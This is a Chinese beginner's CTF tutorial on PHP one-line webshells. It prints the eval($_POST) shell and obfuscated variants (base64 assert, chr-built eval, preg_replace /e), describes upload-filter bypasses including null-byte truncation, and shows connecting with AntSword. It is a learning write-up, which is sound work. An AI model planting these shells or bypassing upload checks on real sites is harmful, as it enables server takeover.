萌新之php一句話木馬

Sunrise in Tequila發表於2020-11-09

0x00參考文章
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/2435
https://blog.csdn.net/momo_sleet/article/details/82497520

0x01 什麼是一句話木馬

<?php @eval($_POST['hacker']); ?>

如上就是一句一句話木馬,eval函式可以使php將post進去的內容當做程式碼處理
如果網站在使用者上傳檔案時沒有進行型別的過濾,使使用者可以上傳php檔案,就可以通過上傳指令碼並從url訪問的方式來連線到木馬進而讓網站後臺執行你的惡意程式碼。

0x02 如何通過一句話木馬執行命令
其實,不用你寫
只需要將它<?php @eval($_POST['hacker']); ?>傳到伺服器,然後用菜刀或者蟻劍連線你上傳的指令碼,菜刀/蟻劍就會自動向伺服器post相應的程式碼,讓你得到訪問伺服器的許可權,並可以下載和上傳檔案到伺服器

0x03漏洞條件
檔案可上傳
知道檔案上傳的路徑
上傳檔案可以被訪問
上傳檔案可以被執行
或者可以直接把程式碼寫入伺服器的php檔案中

0x04一些簡單繞過
1.前端可能通過javascript函式設定允許上傳的檔案型別
在這裡插入圖片描述
如碰到這種驗證,你不需要懂他的程式碼邏輯,你只要知道,他是檢測你檔案上傳的型別的,並且是js
只要js就可以在前端把它無效化
在這裡插入圖片描述
這裡可以看到js函式的作用位置,直接把它呼叫函式的地方刪掉,自然不會驗證了
修改後為:

在這裡插入圖片描述

2.後端php檢測檔案字尾和content-type或檔案頭
上傳php檔案,然後bp抓包,可以將字尾改成.jpg,content-type改成別的,新增檔案頭
關於檔案頭建議自己去看,這裡推薦一篇部落格
https://blog.csdn.net/qq_40574571/article/details/80150157
一個修改的例子
在這裡插入圖片描述
注意上圖中加的圖片頭為GIF89A,對應的檔案字尾應為.gif,圖中.jpg對應的應該是別的頭,這裡只是為了舉個例子,不要深究

貼幾個一般題目中過濾用到的程式碼
檢測content-type
在這裡插入圖片描述
檢測字尾
在這裡插入圖片描述
一般繞過字尾檢測為方法很多,如果大小寫不敏感的檢測程式碼可以通過大小寫繞過,如果是直接去除字尾的話,可以通過雙寫繞過(如.pphphp,用操作字串的方法刪除中間的php留下的還是.php)
有時也可以用**%00截斷**繞過字尾檢測

關於00截斷:
條件 php版本要小於5.3.4
在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字元保留,表示字串結束,所以當url中出現%00時就會認為讀取已結束,如果filename是以get形式傳遞,例如
在get請求如 https:/xxxxxx/upfiles/?filename=test.php%00.txt
有些函式檢測字尾時只會檢測到.txt把它當做txt檔案,但當url解析時%00會被當做結束字元,url會預設以為後面沒有其他東西了,所以實際傳入時把它當做test.php傳入伺服器
而在post請求時也可以用類似的方法,但比較麻煩,可以通過bp抓包後修改檔案內容的十六進位制資料完成00截斷,具體如圖

在這裡插入圖片描述
此處a約等於上面的.txt,先在上傳時把要截斷的地方用空格佔位,空格對應的十六進位制資料為20,再bp抓包,找到那個20的位置改為00即可引發00截斷 (bp在這裡看十六進位制資料)
在這裡插入圖片描述
關於00截斷涉及的漏洞還有很多,建議去自行了解

3.直接對檔案內容進行檢測
–1.過濾<?php
先嚐試大小寫能否繞過
不行的話,有些環境可以通過

<scrpit language="php">xxxxxxxx</script>

的方式繞過(但我本地環境測試時並不能解析,應該和語言版本之類的有關,不過做題遇到的話肯定都是有相應漏洞的)

–2.過濾eval函式
一般有幾種方法,但思路都差不多

<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //base64編碼eval,php5.x可用
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php,通過chr等操作字元的函式編碼,其實跟上面差不多,沒測試過,從別人部落格拿來的,瞭解一下
<?php@preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>//preg_replace的pattern後如果有e引數,會把第二個引數當做程式碼執行即$_POST['a']

也可用assert函式,用法和eval一樣,不過一般要過濾的話都會過濾吧

0x05製作簡單的圖片馬
其實製作圖片馬用處不大,一般需要驗證圖片頭的題直接在bp中改一下檔案內容就行了(參見上面),這個只是覺得有點好玩,說一下而已

0x07簡單例題
[攻防世界]Webshell
進入題目之後顯示
在這裡插入圖片描述
開啟中國蟻劍
在這裡插入圖片描述
右鍵空白–新增資料–寫入url–密碼這裡他在網頁上已經給出了,是shell
在這裡插入圖片描述
新增後雙擊,就可以看到伺服器的檔案列表了在這裡插入圖片描述
這道題比較簡單,題目已經幫你寫好了指令碼並傳上去了,一般的題需要找到檔案上傳的位置,自己將指令碼上傳上去,找到上傳到的位置然後連線

0x08php.ini和.htaccess檔案

0x06 一個彩蛋
一個複雜例題 去看下
buuoj–[GKCTF2020]CheckIn

相關文章